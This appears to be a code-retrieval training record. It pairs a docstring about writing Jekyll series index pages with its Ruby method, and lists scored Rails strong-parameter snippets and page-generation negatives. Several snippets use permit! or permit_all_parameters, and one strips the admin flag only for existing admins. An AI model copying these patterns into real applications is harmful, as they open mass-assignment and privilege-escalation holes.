"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
Creates an instance of SeriesIndex for each series page, renders it, and writes the output to a file. +series_prefix+ is the String path to the series folder. +series+ is the series currently being processed. | def write_series_index(series_prefix, series, posts, authors)
index = SeriesIndex.new(self, source, series_prefix, series, posts, authors)
index.render(layouts, site_payload)
index.write(dest)
# Record the fact that this page has been added, otherwise Site::cleanup will remove it.
pages << index
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write_series_indexes\n series_posts = {}\n\n series = posts.docs.flat_map { |p| p.data[\"series\"] }.compact.uniq\n series.each do |name|\n safe_name = name.gsub(/_|\\P{Word}/, '-').gsub(/-{2,}/, '-').downcase\n path = File.join(\"series\", safe_name)\n\n this_series_posts = posts.select { |p| p.data[\"series\"] == name }.sort { |x, y| x.date <=> y.date }\n series_posts[name] = this_series_posts\n\n authors = this_series_posts.map { |p| p.data[\"author\"] }.flatten.uniq.map { |key| self.config['authors'][key] }\n write_series_index(path, name, series_posts, authors)\n end\n end",
"def write_series(series) # :nodoc:\n write_ser(series)\n end",
"def write_series(series) # :nodoc:\n write_ser(series)\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: SeriesDatatable.new(view_context) }\n #format.pdf do\n # pdf = SeriesPdf.new(Serie.all, view_context)\n # send_data pdf.render, filename: \"series.pdf\",\n # type: \"application/pdf\",\n # disposition: \"inline\"\n #end\n format.pdf {reporte_series(Series.all)}\n end\n end",
"def write\n if root?\n index_file = File.join(page_dir, 'index.html')\n notice \"Writing top level index file at #{index_file}\"\n File.open(index_file, 'w') {|f| f.puts content}\n else\n # First create the index page\n index_file = File.join(page_dir, name + '.html')\n notice \"Writing index file for directory #{path} at #{index_file}\"\n File.open(index_file, 'w') {|f| f.puts content}\n\n # Create a directory to contain index pages for any child directories\n Dir.mkdir(File.join(page_dir, name))\n end\n dirs.sort.each{|dir| dir.write}\n\n # Determine if the page assets directory is necessary, to avoid clutter\n writing_page_assets = true\n begin\n # Detect whether the write_page_assets method is overridden\n # In case this explodes in 1.8.6 we'll always create the directory\n writing_page_assets = renderer.class.instance_method(:write_page_assets).owner != DirRenderer\n rescue\n end\n\n # The renderer knows what assets are linked to and what needs to be available\n # to display the page properly\n if writing_page_assets\n Dir.mkdir(page_assets_dir)\n renderer.write_page_assets(self)\n end\n end",
"def generate_indexes\n @first_page = first_page\n generate_index('index')\n generate_index('indexes')\n end",
"def index\n @series = Serie.all\n end",
"def index\n @series = Series.all\n end",
"def index\n @series = Series.all\n end",
"def index\n @series = Series.all\n end",
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index[:longSearchIndex] << ''\n record.shift\n @index[:info] << record\n end\n end",
"def generate_index_files\n @folders.each do |folder, files|\n puts \" + Creating #{@dest}/#{folder}/index.html\" if @verbose\n File.open(\"#{@dest}/#{folder}/index.html\", \"w\") do |index|\n title = \"Rails Plug-in for #@name #@version\"\n index.write(\"<html><head><title>#{title}</title></head>\\n\")\n index.write(\"<body>\\n\")\n index.write(\"<h2>#{title}</h2>\\n\")\n extra_links = create_extra_links()\n index.write(\"<p>#{extra_links}</p>\\n\") if extra_links\n files.each { |fn|\n puts(\" - Adding #{fn}\") if @verbose\n index.write(\" <a href=\\\"#{fn}\\\">#{fn}</a><br/>\\n\")\n }\n index.write(\"<hr size=\\\"1\\\"/><p style=\\\"font-size: x-small\\\">Generated with RailsPluginPackageTask<p>\")\n index.write(\"</body>\\n\")\n index.write(\"</html>\\n\")\n end\n end\n end",
"def generate_index_files\n @folders.each do |folder, files|\n puts \" + Creating #{@dest}/#{folder}/index.html\" if @verbose\n File.open(\"#{@dest}/#{folder}/index.html\", \"w\") do |index|\n title = \"Rails Plug-in for #@name #@version\"\n index.write(\"<html><head><title>#{title}</title></head>\\n\")\n index.write(\"<body>\\n\")\n index.write(\"<h2>#{title}</h2>\\n\")\n extra_links = create_extra_links()\n index.write(\"<p>#{extra_links}</p>\\n\") if extra_links \n files.each { |fn|\n puts(\" - Adding #{fn}\") if @verbose\n index.write(\" <a href=\\\"#{fn}\\\">#{fn}</a><br/>\\n\")\n }\n index.write(\"<hr size=\\\"1\\\"/><p style=\\\"font-size: x-small\\\">Generated with RailsPluginPackageTask<p>\")\n index.write(\"</body>\\n\")\n index.write(\"</html>\\n\")\n end\n end\n end",
"def generate_index\n page = {}\n page[:title] = nil\n page[:body] = \"\"\n \n @posts.keys.sort.reverse.each_with_index do |date, i|\n if i >= @config[:front_page_entries]\n break\n else\n post = @posts[date]\n \n # Don't post the whole thing on the front page.\n unless post[:excerpt].nil?\n post[:body] = ''\n end\n\n page[:body] << generate_post(@posts[date])\n end\n end\n\n File.open(File.join(@site_path, 'index.html'), 'w') do |f|\n f << generate_page(page)\n end\n end",
"def generate(site)\n puts 'Indexing pages...'\n \n # gather pages and posts\n items = site.pages.dup.concat(site.posts)\n\n # only process files that will be converted to .html and only non excluded files \n items = items.find_all {|i| i.output_ext == '.html' && ! @excludes.any? {|s| (i.absolute_url =~ Regexp.new(s)) != nil } } \n items.reject! {|i| i.data['exclude_from_search'] } \n \n # only process items that are changed since last regeneration\n items = items.find_all {|i| @last_indexed.nil? || File.mtime(i.full_path_to_source) > @last_indexed }\n\n # dont process index pages\n items.reject! {|i| i.is_a?(Jekyll::Page) && i.index? }\n\t\t\t \n while not @index.running?\n # wait for the indextank index to get ready\n sleep 0.5\n end\n \n items.each do |item| \n page_text = extract_text(site,item)\n\n @index.document(item.absolute_url).add({ \n :text => page_text,\n :title => item.data['title'] || item.name \n })\n puts 'Indexed ' << item.absolute_url\n end\n \n @last_indexed = Time.now\n write_last_indexed()\n \n puts 'Indexing done'\n end",
"def write\n if File.exist?(@dir)\n FileWriter.write File.join(@dir, 'index.html'), @index\n end\n end",
"def exportIndex()\r\n indexFileName = @outputDir.join(\"index.html\")\r\n indexFile = HtmlOutputFile.new(indexFileName, @options[:title])\r\n @options[:log].begin(\"Exporting index to \\\"#{indexFileName.to_s}\\\"\")\r\n\r\n if @options[:title]\r\n htmlTitle = uniToHtml(@options[:title])\r\n indexFile.puts(\"<h1>#{htmlTitle}</h1>\")\r\n end\r\n\r\n years = @messages.getYears()\r\n years.each { |year|\r\n if @options[:split] == :Year\r\n indexFile.puts(\"<h1><a href=\\\"#{year}.html\\\">#{year}</a></h1>\")\r\n else\r\n indexFile.puts(\"<h1>#{year}</h1>\")\r\n end\r\n\r\n indexFile.puts(\"<dl>\")\r\n\r\n months = @messages.getMonths(year)\r\n months.each { |month|\r\n timestamp = Date.strptime(month, \"%Y-%m\")\r\n monthName = formatMonthAndYear(timestamp)\r\n\r\n if @options[:split] == :Year\r\n refFileName=\"#{year}.html\"\r\n else\r\n refFileName=\"#{month}.html\"\r\n end\r\n\r\n indexFile.puts(\"<dt>\")\r\n indexFile.puts(\"<a href=\\\"#{refFileName}##{month}\\\">#{monthName}</a>\")\r\n indexFile.puts(\"<dd>\")\r\n\r\n days = @messages.getDays(month)\r\n days.each { |day|\r\n indexFile.puts(\"<a href=\\\"#{refFileName}##{day}\\\">#{day[8,2]}</a>\")\r\n }\r\n }\r\n\r\n indexFile.puts(\"</dl>\")\r\n }\r\n\r\n indexFile.close()\r\n @options[:log].end()\r\n end",
"def write_monthly_indexes\n if self.layouts.key? 'monthly_index'\n\n self.posts_group_by_year_and_month.each do |yearAndMonth, posts|\n \n year = yearAndMonth[0]\n month = yearAndMonth[1]\n \n template_path = File.join(self.source, '_layouts', 'monthly_index.html')\n index = MonthlyIndexPage.new(template_path, self, self.source, year, month, posts)\n if index.render?\n index.render(self.layouts, site_payload)\n index.write(self.dest)\n \n # Record the fact that this pages has been added, otherwise Site::cleanup will remove it.\n self.pages << index\n end\n end\n\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'monthly_index' layout found.\"\n end\n end",
"def write_index\n html = HtmlHelpers.build do |b|\n content = b.jumbotron(b.title(@config[:index_title], 'title'))\n content += b.title(RESOURCES_TEXT)\n content += b.unordered_list(resources.keys)\n content += b.link(\"#{ERROR_CODE_URL}.html\", b.subtitle(ERROR_CODE_TEXT)) unless error_codes.empty?\n container = b.container(b.row(content))\n b.html_header(header_title, container, @config[:inline_css])\n end\n write_to_file(\"#{output_dir}/index.html\", html)\n end",
"def index\n authorize! :read, Roxiware::BookSeries\n @series = Roxiware::BookSeries.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series }\n end\n end",
"def generate_indexes\n @posts = DB[:posts].all\n index_layout = File.read \"#{root}/_layouts/index.html\"\n @output = Liquid::Template.parse(index_layout).render('site'=>self)\n path = \"#{root}/_site/index.html\"\n File.open(path, 'w'){ |f| f.write(@output) }\n end",
"def index\n alphabet\n @series = Series.all.page(params[:page]).per(20)\n @recent = Series.all.order(\"date_aired DESC\").limit(50)\n @ongoing = Series.where(status: \"Ongoing\")\n @complete = Series.where(status: \"Complete\")\n @popular = Series.all.order(\"view_count DESC\").limit(50)\n \n add_breadcrumb \"Mecha Anime\", :series_index_path\n end",
"def index\n @time_series = TimeSeries.meta_only.by_owner(@owner.id, current_user.id).sorted\n\n @css.push(\"time_series.css\")\n @js.push(\"search.js\")\n\n set_gon_datatables\n\n respond_to do |format|\n format.html\n format.json { render json: @time_series }\n end\n end",
"def index\n @title = \"シリーズ一覧\"\n @series = Serie.order(\"id DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @series }\n end\n end",
"def write_pages\n pages = Dir[\"#{source_path}/*.html\"].each do |p_name|\n page = Page.new(source_path, File.basename(p_name))\n # TODO allow user to specify which layouts a page should use \n page.render(site_payload, layouts.select{|x| x.name == \"application.html\"})\n page.write(destination_path)\n end\n end",
"def build_docs\n object_map.each do |index, objects|\n objects.each do |object|\n template_context = {\n #:meta => Site\n index => object\n }\n content = converter.render(template_map[index], template_context)\n filename = converter.filename_for(object)\n write_output_file(filename, content)\n end\n end\n end",
"def process_index\n bindings = {\n :url => @definition.get_url,\n :name => @definition.get_name,\n :resources => @definition.resources,\n :description => @definition.get_description,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:index)\n page.save_template('index.html', bindings)\n end",
"def generate_Song_Pages\n template_doc = File.open(\"lib/templates/song.html.erb\")\n template = ERB.new(template_doc.read)\n Song.all.each do |song|\n File.write(\"_site/song/#{song.url}\", template.result(binding))\n end\n end",
"def generate_gallery_index\n galleries_dir = File.join(@site_path, @config[:gallery_path])\n\n if File.exist?(galleries_dir)\n photo_root = File.join(@config[:site_path], @config[:photo_path])\n\n @log.debug(\" generating the gallery index\")\n\n links = {}\n\n Find.find(galleries_dir) do |path|\n if path =~ /\\w+\\.gallery/\n gallery = YAML.load_file(path)\n\n gallery[:photos].each_with_index do |photo_path, i|\n desc_file = \"#{photo_path.split('.')[0]}.description\"\n gallery[:photos][i] = YAML.load_file(File.join(@site_path, @config[:photo_path], desc_file))\n gallery[:photos][i][:path] = File.join(photo_root, photo_path)\n gallery[:photos][i][:thumb] = File.join(photo_root, File.dirname(photo_path), gallery[:photos][i][:thumb])\n end\n\n # Sort the images in chronological (alphabetical) order.\n #gallery[:photos].sort! {|x,y| x[:path] <=> y[:path]}\n\n # Mark up the description text.\n gallery[:description] = Markdown.new(gallery[:description]).to_html\n\n # Pick the name for the result file.\n gallery_path = path.gsub('gallery', 'html')\n\n File.open(gallery_path, 'w') do |f|\n page = {}\n page[:title] = gallery[:name]\n page[:body] = generate_gallery(gallery)\n\n f << generate_page(page)\n end\n\n links[gallery[:name]] = gallery_path.gsub(@site_path, @config[:site_path])\n end\n end\n\n page = {}\n page[:title] = @config[:gallery_title]\n page[:body] = \"\"\n\n links.keys.sort.each do |k|\n page[:body] << \"<h3><a href='#{links[k]}'>#{k}</a></h3>\"\n end\n\n File.open(File.join(@site_path, @config[:gallery_path], 'index.html'), 'w') do |f|\n f << generate_page(page)\n end\n end\n end",
"def write_archive_indexes\n if self.layouts.key? 'archive_index'\n dir = self.config['archive_dir'] || 'archives'\n posts_by_year_month = self.posts.inject({}) do |h, post|\n ((h[post.year] ||= {})[post.month] ||= []) << post\n h\n end.each do |year, months|\n months.each do |month, posts|\n self.write_archive_index(File.join(dir, year, month), posts.reverse, year, month)\n end\n end\n\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'archive_index' layout found.\"\n end\n end",
"def generate_index( options, files, classes )\n\t\tdebug_msg \"Rendering the index page...\"\n\n\t\ttemplatefile = @template_dir + 'index.rhtml'\n\t\ttemplate_src = templatefile.read\n\t\ttemplate = ERB.new( template_src, nil, '<>' )\n\t\ttemplate.filename = templatefile.to_s\n\t\tcontext = binding()\n\n\t\tmodsort = self.get_sorted_module_list( classes )\n\t\toutput = nil\n\t\tbegin\n\t\t\toutput = template.result( context )\n\t\trescue NoMethodError => err\n\t\t\traise \"Error while evaluating %s: %s (at %p)\" % [\n\t\t\t\ttemplatefile,\n\t\t\t\terr.message,\n\t\t\t\teval( \"_erbout[-50,50]\", context )\n\t\t\t]\n\t\tend\n\n\t\toutfile = @basedir + @options.op_dir + 'index.html'\n\t\tunless $dryrun\n\t\t\tdebug_msg \"Outputting to %s\" % [outfile.expand_path]\n\t\t\toutfile.open( 'w', 0644 ) do |fh|\n\t\t\t\tfh.print( output )\n\t\t\tend\n\t\telse\n\t\t\tdebug_msg \"Would have output to %s\" % [outfile.expand_path]\n\t\tend\n\tend",
"def generate_index( options, files, classes )\n\t\tdebug_msg \"Rendering the index page...\"\n\n\t\ttemplatefile = @template_dir + 'index.rhtml'\n\t\ttemplate_src = templatefile.read\n\t\ttemplate = ERB.new( template_src, nil, '<>' )\n\t\ttemplate.filename = templatefile.to_s\n\t\tcontext = binding()\n\n\t\tmodsort = self.get_sorted_module_list( classes )\n\t\toutput = nil\n\t\tbegin\n\t\t\toutput = template.result( context )\n\t\trescue NoMethodError => err\n\t\t\traise \"Error while evaluating %s: %s (at %p)\" % [\n\t\t\t\ttemplatefile,\n\t\t\t\terr.message,\n\t\t\t\teval( \"_erbout[-50,50]\", context )\n\t\t\t]\n\t\tend\n\n\t\toutfile = @basedir + @options.op_dir + 'index.html'\n\t\tunless $dryrun\n\t\t\tdebug_msg \"Outputting to %s\" % [outfile.expand_path]\n\t\t\toutfile.open( 'w', 0644 ) do |fh|\n\t\t\t\tfh.print( output )\n\t\t\tend\n\t\telse\n\t\t\tdebug_msg \"Would have output to %s\" % [outfile.expand_path]\n\t\tend\n\tend",
"def series_links(options = {})\n generate_links(:series, options)\n end",
"def skel_index( path_storage, section_path )\n index_entries = path_storage.lastn( @lastn )\n page = Page.new( 'index', section_path )\n page.prev = index_entries.last.created.strftime( \"%Y/%m/index\" )\n page.timestamp = index_entries.first.created\n page.updated = path_storage.last_updated( index_entries )\n yield :page => page, :entries => index_entries\n end",
"def generate_pages\n Dir.foreach(@site_path) do |file|\n if file =~ /(\\w+)\\.page/\n path = File.join(@site_path, file)\n\n File.open(File.join(@site_path, \"#{$1}.html\"), 'w') do |f|\n f << generate_page(parse_page(path))\n end\n\n @log.debug(\" generated a page from #{path}\")\n end\n end\n end",
"def generate_directory_index(dir)\n @log.debug(\" creating an index for #{dir}\")\n link_root = dir.gsub(@site_path, @config[:site_path]) \n \n links = {}\n\n # Construct a list of links.\n Dir.foreach(dir) do |entry|\n unless ['.', '..'].include?(entry)\n if File.directory?(File.join(dir, entry))\n #@log.debug(\" adding entry for #{entry}\")\n links[entry] = File.join(link_root, entry)\n end\n \n if entry =~ /(\\d{2})(\\d{2})\\.post/\n #@log.debug(\" adding entry for #{entry}\")\n links[\"#{$1}:#{$2}\"] = File.join(link_root, entry.gsub('post', 'html'))\n end\n end\n end\n\n page = {}\n page[:body] = ''\n\n # If we're at the top of the 'posts' directory, assign the page the title\n # of @config[:archive_title].\n if File.join(@site_path, @config[:post_path]) == dir\n page[:title] = @config[:archive_title]\n else\n page[:title] = File.basename(dir)\n end\n\n links.keys.sort.reverse.each do |k|\n page[:body] << \"<h3><a href='#{links[k]}'>#{k}</a></h3>\"\n end\n\n File.open(File.join(dir, 'index.html'), 'w') do |f|\n f << generate_page(page)\n end\n\n #@log.debug(\" generated an index for #{dir}\")\n end",
"def write_archive_indexes\n if self.layouts.key? 'category_index'\n archive_dir = self.config['archive_dir'] || 'archives'\n self.categories.keys.each do |category|\n self.write_archive_index(File.join(archive_dir, category.gsub(/_|\\P{Word}/, '-').gsub(/-{2,}/, '-').downcase), category)\n end\n\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'category_index' layout found.\"\n end\n end",
"def generate()\n prepare\n ::Dir.mkdir(@output_path) unless ::File.exists? @output_path\n\n @pages.each do |name, page|\n SiteLog.debug(\"Starting page generation - #{name}\")\n page.generate(@output_path, @version, @preserve_tree)\n SiteLog.debug(\"Finished page generation - #{name}\")\n end\n\n @files.each do |path, data|\n path = ::File.join(@output_path, path)\n ::FileUtils.mkdir_p(::File.dirname(path))\n ::File.open(path, \"w\") do |f|\n f.write(data)\n end\n end\n end",
"def write_indexes\n S3Object.store(File.join(basedir, 'index'), Marshal.dump(index), bucket_name)\n end",
"def index\n @series_descriptions = SeriesDescription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @series_descriptions }\n end\n end",
"def index\n @series = Series.all.order(:title)\n end",
"def generate_datasets_index(p)\n cli.say 'Creating index pages'\n data = format_dataset_index(p)\n data.each do |k, v|\n write_file(p, \"#{k}_datasets.html\") do\n v[:list] = 'None' if v[:list] == ''\n build_from_template(\n 'datasets.html',\n v.merge(:\"#{k}_datasets_active\" => 'active')\n )\n end\n end\n end",
"def build_index\n\n\t\t# Names the file based on date and time for uniqueness and ability to find which one you want later\n\t\tt = Time.now\n\t\t@file_time = t.strftime(\"%Y.%b.%d_%H.%M.%S\")\n\t\t@filename = \"quilt_pages/#{@needed_rows}x#{@needed_columns}_#{@file_time}.html\"\n\n\t\t# Store the quilt page template in a variable\n\t\tquilt_template = File.read \"templates/quilt_template.erb\"\n\t\t# Start a new ERB\n\t\terb_template = ERB.new quilt_template\n\t\t# Pull it all together and put info into one variable\n\t\tquilt_page = erb_template.result(binding)\n\n\t\t# Makes the directory for the quilt pages if there isn't one\n\t\tDir.mkdir(\"quilt_pages\") unless Dir.exists? \"quilt_pages\"\n\n\t\t# Opens the file and saves (actually writes) the quilt info\n\t\tFile.open(@filename, 'w') do |file|\n\t\t\tfile.puts quilt_page\n\t\tend\n\n\t\tsystem(\"open #{@filename}\")\n\tend",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def render_index(posts, prev_page, next_page)\n # Get the HTML of each Post and combine them\n posts.collect! { |p| p.html(File.join('/', @post_location, p[:id].to_s)) }\n data = { \"body\" => posts.join(\"\\n\\n\") }\n\n # Append next/previous links if necessary\n if !prev_page.nil?\n data[\"body\"] += \"<a class=\\\"nav\\\" id=\\\"future\\\" href=\\\"#{prev_page}\\\">Newer Posts</a>\\n\"\n end\n\n if !next_page.nil?\n data[\"body\"] += \"<a class=\\\"nav\\\" id=\\\"past\\\" href=\\\"#{next_page}\\\">Older Posts</a>\\n\"\n end\n\n # Return the rendered index\n populate(data)\n end",
"def generate_all_classes_index(site)\n puts \"55555555555555555555555555555555555555555555555555555555\"\n allClasses = AllClassesIndex.new(site, site.source, \"/pages/classes\")\n allClasses.render(site.layouts, site.site_payload)\n allClasses.write(site.dest)\n\n site.pages << allClasses\n site.static_files << allClasses\n end",
"def index\n @series = Series.all(:order => \"long_name\", :include => [{:tournament_day => :tournament}])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @series }\n end\n end",
"def index\n @series_has_manifestations = SeriesHasManifestation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_has_manifestations }\n end\n end",
"def create_sub_index(data, folder_num)\n create_partials data[:sub_file], data\n data[:header] = read_file(get_header_path(data[:sub_file]))\n data[:footer] = read_file(get_footer_path(data[:sub_file]))\n data[:stylesheetloc] = sub_file_stylesheet_locs\n system \"mkdir page#{folder_num}\"\n write_data data, 'data'\n system \"erb _templates/_index.html.erb > page#{folder_num}/index.html\"\n end",
"def gen_main_index\n template = RDoc::TemplatePage.new @template::INDEX\n\n open 'index.html', 'w' do |f|\n classes = @classes.sort.map { |klass| klass.value_hash }\n\n values = {\n 'main_page' => @main_page,\n 'initial_page' => main_url,\n 'style_url' => style_url('', @options.css),\n 'title' => CGI.escapeHTML(@options.title),\n 'charset' => @options.charset,\n 'classes' => classes,\n }\n\n values['inline_source'] = @options.inline_source\n\n template.write_html_on f, values\n end\n end",
"def index\n @course_series = CourseSeries.all\n end",
"def write\n self.write_page(self.mounting_point.pages['index'])\n\n self.write_page(self.mounting_point.pages['404'])\n end",
"def generate_index\n setup\n\n template_file = @template_dir + 'index.rhtml'\n return unless template_file.exist?\n\n debug_msg \"Rendering the index page...\"\n\n out_file = @base_dir + @options.op_dir + 'index.html'\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n asset_rel_prefix = rel_prefix + @asset_rel_path\n\n @title = @options.title\n\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here\n end\n rescue => e\n error = RDoc::Error.new \\\n \"error generating index.html: #{e.message} (#{e.class})\"\n error.set_backtrace e.backtrace\n\n raise error\n end",
"def fs_index(force = true)\n path = File.join(Rails.root, 'public', self.solr_url.path)\n return true if !force && File.exists?(path)\n yield if block_given?\n File.write(path, JSON.generate(self.document_for_rsolr))\n end",
"def create_page\n @outfile.puts <<'EOF'\n<!DOCTYPE html>\n<html>\n <head>\n <title>Fun Fun Fun</title>\n <meta charset=\"utf-8\">\nEOF\n\n include_stylesheets\n include_javascript\n add_data(@batch)\n @outfile.puts <<'EOF'\n </head>\n <body>\n <svg class=\"chart\">\n </svg>\n </body>\n</html>\nEOF\n end",
"def generate\n debug_msg \"Generating JSON index\"\n\n debug_msg \" writing search index to %s\" % SEARCH_INDEX_FILE\n data = build_index\n\n return if @options.dry_run\n\n out_dir = @base_dir + @options.op_dir\n index_file = out_dir + SEARCH_INDEX_FILE\n\n FileUtils.mkdir_p index_file.dirname, :verbose => $DEBUG_RDOC\n\n index_file.open 'w', 0644 do |io|\n io.set_encoding Encoding::UTF_8\n io.write 'var search_data = '\n\n JSON.dump data, io, 0\n end\n unless ENV['SOURCE_DATE_EPOCH'].nil?\n index_file.utime index_file.atime, Time.at(ENV['SOURCE_DATE_EPOCH'].to_i).gmtime\n end\n\n Dir.chdir @template_dir do\n Dir['**/*.js'].each do |source|\n dest = File.join out_dir, source\n\n FileUtils.install source, dest, :mode => 0644, :preserve => true, :verbose => $DEBUG_RDOC\n end\n end\n end",
"def build_index\n reset @store.all_files.sort, @store.all_classes_and_modules.sort\n\n index_classes\n index_methods\n index_pages\n\n { :index => @index }\n end",
"def index\n @bookseries = Bookseries.all\n end",
"def generate(site)\r\n if site.config['paginate_tag_basepath']\r\n posts_by_tag = get_posts_by_tag(site)\r\n \r\n site.pages << Index.new(site, site.source, posts_by_tag)\r\n \r\n posts_by_tag.each do |tag, posts|\r\n paginate_tag(site, tag, posts)\r\n end\r\n end\r\n end",
"def write \n @graphs.each{|gr| gr.Write}\n @histos.each{|h| h.Write}\n end",
"def generate_Genre_Pages\n template_doc = File.open(\"lib/templates/genre.html.erb\")\n template = ERB.new(template_doc.read)\n Genre.all.each do |genre|\n File.write(\"_site/genre/#{genre.url}\", template.result(binding))\n end\n end",
"def write_maps(output_dir,output_series,verbose=nil)\n filenames = []\n total_episode = Hash.new(0)\n\n # read series.dmna\n header = true\n File.foreach(File.join(output_dir,output_series)) do |line|\n line = line.split\n unless header || line.size < 4\n i = 4\n @polls.each do |gas|\n @src_map.each_data do |row,col|\n @src_map.cells[row][col] = line[i].to_f\n i+=1\n end\n name = File.join(output_dir,\"#{gas}-#{line.first.tr(\":\",\"\")}.asc\")\n filenames << name\n @src_map.write_asc(name)\n sum = @src_map.sum_values\n puts \"#{line.first.tr(\":\",\"\")}: #{gas} : #{sum}\" if verbose\n total_episode[gas] = total_episode[gas] + sum\n end\n end\n header = false if line.first==\"*\"\n end\n\n total_episode.each do |gas,value|\n puts \"Total episode: #{gas} : #{value}\"\n end\n\n end",
